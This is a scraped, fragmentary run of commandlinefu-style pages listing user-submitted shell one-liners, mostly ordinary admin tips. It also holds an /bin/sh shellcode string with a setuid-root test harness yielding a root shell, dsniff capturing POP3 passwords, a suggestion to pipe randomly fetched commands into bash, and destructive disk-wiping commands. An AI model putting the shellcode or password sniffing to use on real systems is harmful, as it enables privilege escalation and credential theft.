-d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' gunslinger@localhost:~/$ objdump -d shell shell: file format elf32-i386 Disassembly of section .text: 08048060 <.text>: 8048068: b0 46 mov $0x46,%al 804806e: cd 80 int $0x80 8048070: b0 0b mov $0xb,%al 8048084: cd 80 int $0x80 gunslinger@localhost:~/$ objdump -d ./shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xc9\xcd\x80\x31\xc0\xb0\x0b\x31\xdb\xcd\x80" gunslinger@localhost:~/$ -------------------------------shellcodetest.c--------------------------------- char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x31\xdb\x31" int main(void) ------------------------------------EOF---------------------------------------- root@localhost:/home/gunslinger/# vim shellcodetest.c root@localhost:/home/gunslinger/# cat shellcodetest.c root@localhost:/home/gunslinger/# gcc -o shellcodetest shellcodetest.c root@localhost:/home/gunslinger/# chown root:root shellcodetest.c root@localhost:/home/gunslinger/# chmod 4755 shellcodetest root@localhost:/home/gunslinger/# exit gunslinger@localhost:~/$ ./shellcodetest # id uid=0(root) gid=1000(gunslinger) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(gunslinger) # whoami # echo GAMEOVER GAMEOVER # exit Functions: cut grep objdump paste sed tr Get all shellcode on binary file from objdump Tired copy paste to get opcode from objdump huh ? Get more @ http://gunslingerc0de.wordpress.com ‹ First < 168 169 170 171 172 > Last › mplayer -vo null -ao null -frames 0 -identify movie.avi | awk '{FS="="}; /ID_LENGTH/{ H=int($2/3600); M=int(($2-H*3600)/60); S=int($2%60); print H":"M":"S}' Get movie length diff -Naur --strip-trailing-cr @@ -5,6 +5,7 @@ require ($_SERVER['DOCUMENT_ROOT'].'/../s3/lib/class.product.php'); require ($_SERVER['DOCUMENT_ROOT'].'/../s3/lib/class.folder.php'); require_once ($_SERVER['DOCUMENT_ROOT'].'/../s3/lib/class.dif.php'); +require_once ($_SERVER['DOCUMENT_ROOT'].'/../s3/lib/class.image.php'); include_once ($_SERVER['DOCUMENT_ROOT'] . '/../common/lib/sphinxapi.php'); Probably, most frequent use of diff This form is used in patches, svn, git etc. And I've created an alias for it: alias diff='diff -Naur --strip-trailing-cr' The latter option is especially useful, when somebody in team works in Windows; could be also used in commands like svn diff --diff-cmd 'diff --strip-trailing-cr'... nocomments () { cat $1 | egrep -v '^[[:space:]]*#|^[[:space:]]*$|^[[:space:]]*;' | sed '/<!--.*-->/d' | sed '/<!--/,/-->/d'; } $ wc -l /etc/samba/smb.conf 288 $ nocomments /etc/samba/smb.conf [global] [homes] [printers] Functions: cat egrep sed find /path/to/dir -type f | grep -o '\.[^./]*$' | sort | uniq Functions: find grep sort Just a little simplification. mysqldump --where="true LIMIT X" databasename > output.sql Export a subset of a database Limits the number of rows per table to X export PS1='\[\e]0;\h \u \w\a\]\n\[\e[0;34m\]\u@\h \[\e[33m\]\w\[\e[0;32m\]\n\$ ' iwtuser@sip3a /tmp set prompt and terminal title to display hostname, user ID and pwd used in an if-then-else in case the default shell is ksh, not bash. The $(basename ${0#-}) is handy to echo which shell and strip the dash some flavors put in front of "bash" if [ $(basename ${0#-}) == "bash" ] ; then HOST=`hostname` ESC=`echo "\033"` BEL=`echo "\007"` RAW=`echo "\r"` export PS1='-${RAW}${ESC}]0;${HOST} ${USER}${BEL}-${ESC}[0;34m${USER}${ESC}[0m@${ESC}[0;34m${HOST%%.*}${ESC}[0;33m${ESC}[0m $ ' sudo dpkg-reconfigure tzdata Set Time Zone in Ubuntu Reconfigures time zone in Ubuntu, which I cannot figure out how to do through the GUI. Worked like a charm to set my time zone to CEST from EDT. find . -type d -exec rmdir {} \; rmdir: directory ".": Can't remove current directory or .. rmdir: directory "./dir2": Directory not empty rm -rf [a-bd-zA-Z0-9]* c[b-zA-Z0-9]* Remove all files but one starting with a letter(s) Remove everything in current directory except files starting with "ca". mimms mms://Your_url.wmv require mimms package vimcmd() { $1 > $2 && vim $2; } Run a command, redirecting output to a file, then edit the file with vim. This is one of those 'nothing' shell functions ...which I use all the time. If the command contains spaces, it must be quoted, e.g. vimcmd 'svn diff' /tmp/svndiff.out If I want to keep the output of the command that I'm running, I use vimcmd. If I don't need to keep the output, I use this: vim <( ... my command ... ) watch -n 1 "netstat -ntu | sed '1,2d' | awk '{ print \$6 }' | sort | uniq -c | sort -k 2" Monitor connection statistics with netstat and watch for x in */*.rar; do unrar x $x; done Unrar multiple directories into current working directory Grabs all rar files in any current subdirectories and feeds it to unrar. Doesn't work well with things packaged like file.part01.rar. Works best with File.rar. You can recurse into other directories by adding more /*'s mogrify -resize 1024 *.jpg Resize all JPEGs in a directory This command requires the imagemagick libraries and will resize all files with the .jpg extension to a width of 1024 pixels and will keep the same proportions as the original image. while [ 0 ]; do expr 2365200000 \- `date +%s` \- `date --date "YYYY-mm-dd HH:MM:ss" +%s`; sleep 1; clear; done Mortality Countdown watch the seconds of your life tick away - replace YYYY-mm-dd HH:MM:ss w/ your birthtime. echo a,b,c | sed -e s/,/\',\'/g -e s/^/\(\'/ -e s/$/\'\)/ convert a,b,c to ('a','b','c') for use in SQL in-clauses watch -n 1 -d "finger" Monitoring sessions that arrive at your server find /path/to/dir -type f -name '*.*' | sed 's@.*/.*\.@.@' | sort | uniq Functions: find sed sort If your grep doesn't have an -o option, you can use sed instead. cat /dev/tty > FILE $ cat /dev/tty > myFile.txt blahblahblah what? <Return> This is in a file! <Ctrl+D> $ ls -a . .. myFile.txt $ cat myFile.txt blahblahblah what? This is in a file! Type strait into a file from the terminal. Takes input from the connected terminal and dumps it to the specified file. Stop writing and close file with control + D or the end of line character. Useful for copying+pasting large blobs of text over SSH to a new machine. cut -d\ -f 1 ~/.bash_history | sort | uniq -c | sort -rn | head -n 10 | sed 's/.*/ &/g' Functions: cut head sed sort uniq most used unix commands perl -e 'print for(map{chr(hex)}("4861707079204E6577205965617221"=~/(.{2})/g)),"\n";' Happy New Year! curl -s 'http://whatthecommit.com/' | grep '<p>' | cut -c4- put code that worked where the code that didn't used to be commit message generator - whatthecommit.com If you don't have html2text find . ! -type d -exec chmod -x {}\; Useful if you have copied files from an OS without a permission structure (for example, DOS) and you need to disable all executable files but want to be able to descend into your directories. sed -n '1,${p;n;n;}' foo > foo_every3_position1; sed -n '2,${p;n;n;}' foo > foo_every3_position2; sed -n '3,${p;n;n;}' foo > foo_every3_position3 $ sed -n '1,${p;n;n;}' blah1 $ sed -n '2,${p;n;n;}' blah1 $ sed -n '3,${p;n;n;}' blah1 Every Nth line position # (SED) sed extract every nth line. Generic is: sed -n 'STARTPOSITION,${p;n;*LINE}' foo where n;*LINE = how many lines. thus p;n;n; is "for every 3 lines" and p;n;n;n;n; is "for every 5 lines" while inotifywait -r -e MODIFY dir/; do make; done; ‹ First < 169 170 171 172 173 > Last › echo "hello::::there" | tr -s ':' hello:there Squish repeated delimiters into one This can be particularly useful used in conjunction with a following cut command like echo "hello::::there" | tr -s ':' | cut -d':' -f2 which prints 'there'. Much easier that guessing at -f values for cut. I know 'tr -s' is used in lots of commands here already but I just figured out the -s flag and thought it deserved to be highlighted :) sudo sed -iorig '/\(up\|down\)/s/^/#/' /etc/zsh/zshrc Fix the vi zsh bindings on ubuntu Use sed to comment out any up/down bindings in zsh gophpdoc() { if [ $# -lt 2 ]; then echo $0 '< file > < title > [ pdf ]'; return; fi; if [ "$3" == 'pdf' ]; then ot=PDF:default:default; else ot=HTML:frames:earthli; fi; phpdoc -o $ot -f "$1" -t docs -ti "$2" } Functions: echo file phpdoc shortcut A shortcut to generate documentation with phpdoc. Defaults to HTML; optionally to PDF if third argument is given. Stores documentation in cwd under ./docs/. I forget the syntax to the output, -o, option, so this is easier. ip addr change 2001:db8:1:2::ab dev eth0 preferred_lft 0 Prevent an IPv6 address on an interface from being used as source address of packets. If two or more IPv6 addresses are assigned to an interface, apply this command to all but the address that you want to use as the source address of outbound packets. This is Linux-specific and requires the iproute package, or equivalent for your distribution. rsync -vau --exclude='.*' SOURCE-PATH/myfold TARGET-PATH sync two folders except hidden files nmap -n -iR 0 -sL | cut -d" " -f 2 136.159.200.131 188.52.81.164 67.192.148.226 192.136.218.176 93.242.113.87 112.209.160.94 (... ad infinitum ...) Generate random IP addresses It never ends kill -9 `lsof -t -i :port_number` echo $(($(seq -s* 10))) Same as the seq/bc solution but without bc. :set scroll=0 VIM: when Ctrl-D and Ctrl-U only scroll one line, reset to default Resets the scroll parameter to the default (half the rows in the current window). The scroll parameter can be inadvertently set to 1, e..g., if you type '1 Ctrl-D' or '1 Ctrl-U' in normal mode. while killall -USR1 dd; do sleep 5; done Functions: killall sleep Stops when the (last) dd process exits. for i in `find /home/ -maxdepth 1 -type d`; do echo -n $i " ";find $i|wc -l; done count of files from each subfolder Find the number of files from each folder echo -n 'text' | xxd -ps | sed -e ':a' -e 's/\([0-9]\{2\}\|^\)\([0-9]\{2\}\)/\1\\x\2/;ta' Converts the ascii text to hex from bash. Check the sample output. setfile -a V foo.bar; setfile -a v foo.bar; Hiding and Show files on Mac OS X These commands will mark a file as hidden or visible to Mac OS X Finder. Notice the capitol V vs the lowercase v. This will also work for directories. setfile -a V foo.bar; // This marks the file invisible setfile -a v foo.bar; // This marks the file visible I have also found that adding the following aliases are helpful: alias hide='setfile -a V' alias show='setfile -a v' find . -type d -print | sed -e 's;[^/]*/;..........;g'|awk '{print $0"-("NR-1")"}' Functions: awk find sed for i in *.avi; do echo -n "$i:";totem-gstreamer-video-indexer $i | grep DURATION | cut -d "=" -f 2 ; done | sort -t: -k2 -r Casshern.action.avi:8527 Gomorra.FRENCH.DVDRiP.avi:7886 Harvey.Milk.avi:7698 Rescue.Dawn.guerre.avi:7525 Esther.avi:7374 sept.vies.drame.avi:7366 Pr?dictions.action.avi:7289 Midnight.Run.comedie.aventure.avi:7263 Jugez.moi.coupable.avi:7177 U-Turn.avi:7163 Functions: cut echo grep sort Sort .avi movies by time length, print the longest first, and so on... i=0; for f in $(find ./ -size -10M -exec stat -c %s {} \; ); do i=$(($i + $f)); done; echo $i Functions: echo find stat Find all files <10MB and sum up their size files sfdisk -d /dev/sda | sfdisk /dev/sdb (svnadmin dump /path/to/repo | gzip --best > /tmp/svn-backup.gz) 2>&1 | mutt -s "SVN backup `date +\%m/\%d/\%Y`" -a /tmp/svn-backup.gz emailaddress Email an svn dump acpi -V alias rk='d=$(dcop|grep $PPID) && s=$(dcop $d konsole currentSession) && dcop $d $s renameSession' usage: rk "New Console Label" relabel current konsole tab usage: renam in a script you must replace $PPID with $(awk '{print $4}' /prod/$PPID/stat) find . -name 'junkfiles-*' -print0 | xargs -0 rm $ grep foo bar/* -bash: /usr/bin/grep: /bin/sh: bad interpreter: Argument list too long Use find to get around Argument list too long problem Can be used for other commands as well, replace rm with ls. It is easy to make this shorter but if the filenames involved have spaces, you will need to do use find's "-print0" option in conjunction with xargs's "-0" option. Otherwise the shell that xargs uses to execute the "rm" command line will treat the space as a token separator, thereby treating the name as two (or more) names. wget -qO - www.commandlinefu.com/commands/random | grep "<div class=\"command\">" | sed 's/<[^>]*>//g; s/^[ \t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g' command line fu roulette retrieves the html from a random command line fu page, then finds commands on the page and prints them alternatively, pipe to bash (add "| bash" to the end) to execute the command (very risky) edit: had to adjust to properly display the portion that replaces HTML characters (e.g. " -> ") find . -type d -print0 | (cd $DESTDIR; xargs -0 mkdir) Functions: cd find xargs Here is how to replicate the directory structure in the current directory to a destination directory (given by the variable DESTDIR), without copying the files. find . -type f -name "*.tar" -printf [%f]\\n -exec tar -tf {} \; | grep -iE "[\[]|<filename>" [andrew.taylor@localhost ~]$ find . -type f -name "*.tar" -printf [%f]\\n -exec tar -tf {} \; | grep -iE "[\[]|configuration" [tar2.tar] Platform_Configuration_Guide.pdf Product_Management_Configuration_Guide.pdf [tar1.tar] WMS_Configuration_Guide.pdf [tar3.tar] Reverse_Logistics_Configuration_Guide.pdf Functions: find grep tar Find files in multiple TAR files A quick find command to identify all TAR files in a given path, extract a list of files contained within the tar, then search for a given string in the filelist. Returns to the user as a list of TAR files found (enclosed in []) followed by any matching files that exist in that archive. TAR can easily be swapped for JAR if required. In-Place search/replace with datestamped backup sed -i.`date +%Y%m%d%H%M%S 's/pattern/replace' [filename] ‹ First < 170 171 172 173 174 > Last › ip addr show ip addr show 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo 2: tunl0: <NOARP> mtu 1480 qdisc noop link/ipip 0.0.0.0 brd 0.0.0.0 3: gre0: <NOARP> mtu 1476 qdisc noop link/gre 0.0.0.0 brd 0.0.0.0 4: eth0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 00:1a:4b:90:da:dc brd ff:ff:ff:ff:ff:ff 6: ppp0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 3 link/ppp inet 115.183.207.33 peer 220.224.141.145/32 scope global ppp0 Another way to see the network interfaces Like many other thing in Linux ,you can see the same thing in different way. tree -d [17:44][~/junk]$ tree -d |-- dira | |-- f | | `-- r | `-- s | |-- l | |-- q | `-- w | `-- d |-- dirb | |-- h | | `-- k | |-- i | `-- j `-- dirc 14 directories tree has lots of parms - man is your friend google contacts list name,name,email|perl -pne 's%^((?!N\/A)(.+?)),((?!N\/A)(.+?)),([a-z0-9\._-]+\@([a-z0-9][a-z0-9-]*[a-z0-9]\.)+([a-z]+\.)?([a-z]+))%${1}:${3} <${5}>%imx' #see below for full command Contact One: Contact2 <contact1@domain.org> Contact Two: Contact2 <contact2@othersite.nl> Convert GoogleCL gmail contacts to cone adress book Full Command: google contacts list name,name,email|perl -pne 's%^((?!N\/A)(.+?)),((?!N\/A)(.+?)),([a-z0-9\._-]+\@([a-z0-9][a-z0-9-]*[a-z0-9]\.)+([a-z]+\.)?([a-z]+))%${1}:${3} <${5}>%imx'|grep -oP '^((?!N\/A)(.+?)) <[a-z0-9\._-]+\@([a-z0-9][a-z0-9-]*[a-z0-9]\.)+([a-z]+\.)?([a-z]+)>' | sort You'll need googlecl and python-gdata. First setup google cl via: google Then give your PC access google contacts list name,email Then do the command, save it or use this one to dump it in the cone-address.txt file in your home dir: google contacts list name,name,email | perl -p -n -e 's%^((?!N\/A)(.+?)),((?!N\/A)(.+?)),([a-z0-9\._-]+\@([a-z0-9][a-z0-9-]*[a-z0-9]\.)+([a-z]+\.)?([a-z]+))%${1}:${3} <${5}>%imx' | grep -o -P '^((?!N\/A)(.+?)) <[a-z0-9\._-]+\@([a-z0-9][a-z0-9-]*[a-z0-9]\.)+([a-z]+\.)?([a-z]+)>' | sort > ~/cone-adress.txt Then import into cone. It filters out multiple emails, and contacts with no email that have N/A. (Picasa photo persons without email for example...) find . -iname '*.jpg' -type f -print0 |perl -0 -ne '$a+=-s $_;END{print "$a\n"}' 26715066695 Summarize size of all files of given type in all subdirectories (in bytes) This deals nicely with filenames containing special characters and can deal with more files than can fit on a commandline. It also avoids spawning du. l=10;for((i=0;i<$l;i++));do eval "a$i=($(pv=1;v=1;for((j=0;j<$l;j++));do [ $i -eq 0 -o $j -eq 0 ]&&{ v=1 && pv=1; }||v=$((pv+a$((i-1))[$((j))]));echo -n "$v ";pv=$v;done;));";eval "echo \"\${a$i[@]}\"";done | column -t; 1 1 1 1 1 1 1 1 1 1 1 10 55 220 715 2002 5005 11440 24310 48620 Functions: column eval Pascal's triangle see: http://en.wikipedia.org/wiki/Pascal%27s_triangle function quietly () { $* 2> /dev/null > /dev/null; }; hostname User$ quietly wget www.website.com/ hostname User$ _ Suppresses all output to /dev/null. This could be expanded to check for a -l command line option to log the stderr to a file maybe -l file or -l to log to default quietly.log. I'm finding that I use it more often than one would think. cat /proc/acpi/ac_adapter/ACAD/state lucky(){ url=$(echo "http://www.google.com/search?hl=en&q=$@&btnI=I%27m+Feeling+Lucky&aq=f&oq=" | sed 's/ /+/g'); lynx $url; }; lucky "Emperor Norton" command line Google I'm Feeling Lucky opens the Google I'm Feeling Lucky result in lynx, the command line browser dsniff -i any 'tcp port pop3' dsniff: listening on any [tcp port pop3] 11/18/10 10:41:01 tcp xxx.48323 -> remote.host.110 (pop3) USER user1 PASS pass-for-user1 11/18/10 10:41:28 tcp xxx.48321 -> other.host.110 (pop3) USER user2 PASS pass-for-user2 Sniff ONLY POP3 authentication by intercepting the USER command dsniff is general purpose password sniffer, it handles *lots* of different protocols, but it also handles tcp-style expressions for limiting analyzed traffic - so I can limit it to work on pop3 only. ZIP=48104; curl http://thefuckingweather.com/?zipcode=$ZIP 2>/dev/null|grep -A1 'div class="large"'|tr '\n' ' '|sed 's/^.*"large" >\(..\)/\1/;s/&d.* <br \/>/ - /;s/<br \/>//;s/<\/div.*$//' 70 - ITS FUCKING NICE check the fucking weather grab the weather, with a little expletive fun. replace the 48104 with a US zipcode, or the name of your city (such as ZIP="oslo"), unless you want to know what the weather is like for me (and that's fine too) mogrify -geometry 800x600 *.jpg Quickly batch resize images -geometry (preserves values of height and width given, and aspect ratio). WARNING: While 'resize' creates resized copies of original files, 'mogrify' works on the original files, replacing them. It will overwrite the source files, use with caution, and backup regularly. curl -s https://www.google.com/accounts/ClientLogin -d Email=$email -d Passwd=$password -d service=lh2 | grep Auth | sed 's/Auth=\(.*\)/\1/' Get an authorization code from Google This is a basis for other Google API commands. findlocation() { place=`echo $* | sed 's/ /%20/g'` ; curl -s "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | grep -e "address" -e "coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';} $ findlocation Google Headquarters Full Address: Google European Headquarters, Gordon House, Barrow St, Dublin, Co. Dublin City, Ireland, coordinates: [ -6.2363000, 53.3407000, 0 ] Alternative to http://commandlinefu.com/commands/view/6831/find-co-ordinates-of-a-location with $* instead of $1 so no need to quote multi-word locations svn status | grep '^?' | sed -e 's/^? */svn add "/g' -e 's/$/"/g'|sh ; svn status | grep '^!' | sed -e 's/^! */svn delete "/g' -e 's/$/"/g'|sh Functions: grep sed sh SVN script for automatically adding and deleting files lynx --width=200 --dump 'http://quake.usgs.gov/recenteqs/Maps/San_Francisco_eqs.htm'|sed -ne '/MAG.*/,/^References/{;s/\[[0-9][0-9]*\]//;1,/h:m:s/d;/Back to map/,$d;/^$/d;/^[ \t][ \t]*[3-9]\.[0-9][0-9]*[ \t][ \t]*/p; }'|sort -k1nr 3.0 2010/01/06 23:09:00 37.410N 121.755W 9.1 8 km ( 5 mi) NE of Alum Rock, CA Show recent earthquakes in Bay Area To see only earthquakes for today, add another pipe to egrep "`date '+%Y/%m/%d'`" sudo lvdisplay |awk '/LV Name/{blockdev=$3} /Block device/{bdid=$3; sub("[0-9]*:","dm-",bdid); print bdid,blockdev;}' dm-0 /dev/storage/root dm-1 /dev/storage/swap_1 Show DeviceMapper names for LVM Volumes (to disambiguate iostat logs, etc) Emits the device names which will be printed by iostat for an LVM volume; doesn't show the names for the underlying devices when snapshots are being used (the -cow and -real devices in /dev/mapper) git config --local --get remote.origin.url git@github.com:hced/dotfiles.git [git] Output remote origin from within a local repository Great way to quickly grasp if a locally cloned repository originates from e.g. github or elsewhere. driverquery /si /fo table Show device drivers and their properties (Windows XP) Show device drivers and their properties, including digital signatures /si and in table format /fo. find . -name '*.mp3' -type f -exec sh -c 'exec cp -f "$@" /home/user/dir' find-copy {} + Functions: cp find sh I used this command to recursively gather all mp3 files that were previously imported into their own directories (sorted by band name) in Songbird. badblocks -c 65536 -o /tmp/badblocks.out -p 2 -s -v -w /dev/hdX > /tmp/badblocks.stdout 2> /tmp/badblocks.stderr Check your hard drive for bad blocks (destructive) WARNING!!! ALL DATA WILL BE LOST!!! This command should ONLY be run on drives that are meant to be wiped. Data destruction will result from running this command with the '-w' switch. You may run this command with the '-n' switch in place of '-w' if you want to retain all data on the drive, however, the test won't be as detailed, since the '-n' switch provides a non-destructive read-write mode only, whereas '-w' switch actually writes patterns while scanning for bad blocks. echo "DISPLAY=$DISPLAY xmessage setup suphp perms htscanner acct#101101 host2.domain.com" | at 23:00 Feb 8 warning: commands will be executed using /bin/sh job 20 at Mon Feb 8 23:00:00 2010 set a reminder for 5 days in the future setup for reminder in 5 days, added the date in the future. To run a job at 4pm three days from now, you would do at 4pm + 3 days, to run a job at 10:00am on July 31, you would do at 10am Jul 31 and to run a job at 1am tomorrow, you would do at 1am tomorrow. find . -type f | while read line; do NEW_TS=`date -d@$((\`stat -c '%Y' $line\` + <seconds> )) '+%Y%m%d%H%M.%S'`; touch -t $NEW_TS ${line}; done Functions: find read touch increase recurively the modification time for a list of files Increase the modification date for the files selected with the find command. cd $srcdir && find -type d -exec mkdir -p $dstdir/{} \; Functions: cd find mkdir Clone directory structure without the files curl -s http://tinyurl.com/create.php?url=http://<website.url>/ | sed -n 's/.*\(http:\/\/tinyurl.com\/[a-z0-9][a-z0-9]*\).*/\1/p' | uniq $ curl -s http://tinyurl.com/create.php?url=http://www.commandlinefu.com/ | sed -n 's/.*\(http:\/\/tinyurl.com\/[a-z0-9][a-z0-9]*\).*/\1/p' http://tinyurl.com/d52z2c Creating shortened URLs from the command line rename 's/\.txt$/\.md$/i' * ‹ First < 171 172 173 174 175 > Last › bc <<< `uptime | sed -e 's/^.*up //' -e 's/[^0-9:].*//' | sed 's/:/*60+/g'` Functions: bc sed Want to run scripts/programs in the system after starting X minute [ For letting the system to free ]? This will give uptime in minute. perl -e 'print map { $_ . "\n" } @INC;' print lib path of perl ls -lt|grep ^-|awk 'NR>5 { print $8 }'|xargs -r rm Functions: awk grep ls xargs If something fracks up your terminal, just type in 'reset' and everything should be good again. while pkill -0 prog1; do sleep 10; done; prog2 for x in *.pgp do `cat /file_with_the_passphrase.dat|(gpg --batch --no-tty --yes --passphrase-fd=0 --decrypt `basename $x`; ) > 'dump_content.dat'` done; It decripts all pgp files in a selection folder and move the output into a file. find . -name "*.[ch]" -exec grep "TODO" {} + -exec works better and faster then using a pipe newest () { DIR=${1:-'.'}; CANDIDATE=`find $DIR -type f|head -n1`; while [[ ! -z $CANDIDATE ]]; do BEST=$CANDIDATE; CANDIDATE=`find $DIR -newer "$BEST" -type f|head -n1`; done; echo "$BEST"; } [user@localhost ~]$ newest /var/www/html/ /var/www/html/manual/createCustomColumn.png [user@localhost ~]$ Functions: echo head Works recusivley in the specified dir or '.' if none given. Repeatedly calls 'find' to find a newer file, when no newer files exist you have the newest. In this case 'newest' means most recently modified. To find the most recently created change -newer to -cnewer. alias sorth='sort --help|sed -n "/^ *-[^-]/s/^ *\(-[^ ]* -[^ ]*\) *\(.*\)/\1:\2/p"|column -ts":"' [1766:1762 0:30073] 06/10/10 [askapache@ghost.shell:/5 +1] ~/dr/pepper (1:30073)$ sorth -b, --ignore-leading-blanks ignore leading blanks -d, --dictionary-order consider only blanks and alphanumeric characters -f, --ignore-case fold lower case to upper case characters -g, --general-numeric-sort compare according to general numerical value -i, --ignore-nonprinting consider only printable characters -M, --month-sort compare (unknown) < `JAN' < ... < `DEC' -n, --numeric-sort compare according to string numerical value -r, --reverse reverse the result of comparisons -c, --check check whether input is sorted; do not sort -k, --key=POS1[,POS2] start a key at POS1, end it at POS2 (origin 1) -m, --merge merge already sorted files; do not sort -o, --output=FILE write result to FILE instead of standard output -s, --stable stabilize sort by disabling last-resort comparison -S, --buffer-size=SIZE use SIZE for main memory buffer -t, --field-separator=SEP use SEP instead of non-blank to blank transition -T, --temporary-directory=DIR use DIR for temporaries, not $TMPDIR or /tmp; -u, --unique with -c, check for strict ordering; -z, --zero-terminated end lines with 0 byte, not newline Functions: alias column sed View advanced Sort options, Quick Reference Help Alias Once you get into advanced/optimized scripts, functions, or cli usage, you will use the sort command alot. The options are difficult to master/memorize however, and when you use sort commands as much as I do (some examples below), it's useful to have the help available with a simple alias. I love this alias as I never seem to remember all the options for sort, and I use sort like crazy (much better than uniq for example). # Sorts by file permissions find . -maxdepth 1 -printf '%.5m %10M %p\n' | sort -k1 -r -g -bS 20% # Shows uniq history fast history 1000 | sed 's/^[0-9 ]*//' | sort -fubdS 50% exec bash -lxv export TERM=putty-256color Taken from my http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html su - -m -p git change user & preserver environment (.bashrc&co) ddrescue -v /dev/sda /dev/sdb logfile.log Clone or rescue a block device If you use the logfile feature of ddrescue, the data is rescued very efficiently (only the needed blocks are read). Also you can interrupt the rescue at any time and resume it later at the same point. http://www.gnu.org/software/ddrescue/ddrescue.html cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext" --silent | sed "s/\(^#.*\)/\x1b[32m\1\x1b[0m/g" | less -R } Functions: less sed just like the original - just colored and with less dd if=/dev/zero of=10gb bs=1M count=10240 HDD Performance Write Test Test your XFS filesystem and Raptor hard drives for write performance. function dpan () { PKG=`perl -e '$_=lc($ARGV[0]); s/::/-/g; print "lib$_-perl\n"' $1`; apt-get install $PKG; } # dpan YAML::Tiny The following NEW packages will be installed: libyaml-tiny-perl 0 upgraded, 1 newly installed, 0 to remove and 1 not upgraded. Need to get 27.6kB of archives. ... etc, etc ... Install the Debian-packaged version of a Perl module Running 'cpan Module::Name' will install that module from CPAN. This is a simple way of using a similar command to install a packaged Perl module from a Debian archive using apt-get. mencoder "/path/to/file.wmv" -ofps 23.976 -ovc lavc -oac copy -o "/path/to/file.avi" convert a .wmv to a .avi gnu@robby:~$ lsb_release -a Description: Easy Peasy 1.0 find your release version of your ubuntu / debian distro set-proxy () { P=webproxy:1234; DU="fred"; read -p "username[$DU]:" USER; printf "%b"; UN=${USER:-$DU}; read -s -p "password:" PASS; printf "%b" "\n"; export http_proxy="http://${UN}:${PASS}@$P/"; export ftp_proxy="http://${UN}:${PASS}@$P/"; } [bob@localhost ~]$ set-proxy username[fred]: bob password: [bob@localhost ~]$ wget google.co.uk --13:05:20-- http://google.co.uk/ Resolving webproxy... 192.168.1.3 Connecting to webproxy|192.168.1.3|:1234... connected. Proxy request sent, awaiting response... 200 OK Length: unspecified [text/html] 13:05:20 (50.33 KB/s) - `index.html' saved [7381] Functions: export printf read set Configuring proxy client on terminal without leaving password on screen or in bash_history Prompts the user for username and password, that are then exported to http_proxy for use by wget, yum etc Using this script prevent the cleartext user and pass being in your bash_history and on-screen tcpdump -i eth0 port 80 -w - view http traffic svn add `svn status | grep ? | cut -c9-80` Add all files mpg123 -s input.mp3 | faac -b 80 -P -X -w -o output.m4b - convert mp3 into mb4 (audiobook format) to convert a whole directory, put all mp3 files in a for loop for i in $(ls *mp3); do mpg123 -s $i | faac -b 80 -P -X -w -o ${i%mp3}m4b -; done traceroute 2>/dev/null -n google.com | awk '/^ *1/{print $2;exit}' Functions: awk traceroute curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s http://tinyurl.com/api-create.php?url=URL_GOES_HERE)" -d source="cURL" http://twitter.com/statuses/update.json -o /dev/null A command to post a message and an auto-shortened link to Twitter. The link shortening service is provide by TinyURL. A command to post a message and an auto-shortened link to Twitter. The link shortening service is provided by TinyURL. perl -e 'chomp($k=`uname -r`); for (</boot/vm*>) {s/^.*vmlinuz-($k)?//; $l.="linux-image-$_ ";} system "aptitude remove $l";' TIMTOWTDI echo 'This is a TEST' | sed 's/[^ ]\+/\L\u&/g' date -d '2011-12-15 05:47:09' +"epoch: %s or format: %Y/%m/%d" Time conversion/format using the date command ‹ First < 172 173 174 175 176 > Last › find /path/to/dir -type f -mtime +[#] -exec rm -f {} \; Periodic Log Deletion deletes logs not modified in over [#] days - modify to compress or move, as needed exim -bp | exiqsumm -c Count Volume Oldest Newest Domain ----- ------ ------ ------ ------ exim statistics about mails from queue statistics are sorted based on number of recipients. gpg --search-keys Search gpg keys from commandline make [target] VAR=foobar Makefile argument passing This would allow reference of $(VAR) (if defined) with the value 'foobar' within the Makefile. function rrm(){ for i in $*; do; if [ -f $i ]; then; echo "rrm - Processing $i"; shred --force --remove --zero --verbose $i; else; echo "Can't process $i"; type=$(stat "$1" -c %F); echo "File $i is $type"; fi; done;} $ rrm mytralala rrm - Processing mytralala shred: mytralala : passe 1/4 (random)... shred: mytralala : passe 2/4 (random)... shred: mytralala : passe 3/4 (random)... shred: mytralala : passe 4/4 (000000)... shred: mytralala : suppression shred: mytralala : renomm? en 000000 shred: 000000 : renomm? en 00000 shred: 00000 : renomm? en 0000 shred: 0000 : renomm? en 000 shred: 000 : renomm? en 00 shred: 00 : renomm? en 0 shred: mytralala : supprim Functions: echo shred stat Realy remove file from your drive This command remove a file from your filesystem like the normal rm command but instead of deleting only the inode information this also delete the data that was stored on blocks /!\ warning this may be long for large files echo -n 'text' | perl -pe 's/(.)/sprintf("\\x%x", ord($1))/eg' Here's a version that uses perl. If you'd like a trailing newline: perl -pe 's/(.)/sprintf("\\x%x", ord($1))/eg; END {print "\n"}' tr A-Z a-z | tr -d "[[:punct:]][[:digit:]]" | tr ' /_' '\n' | sort | uniq -c ls --[TAB][TAB] auto complete arguments Use it 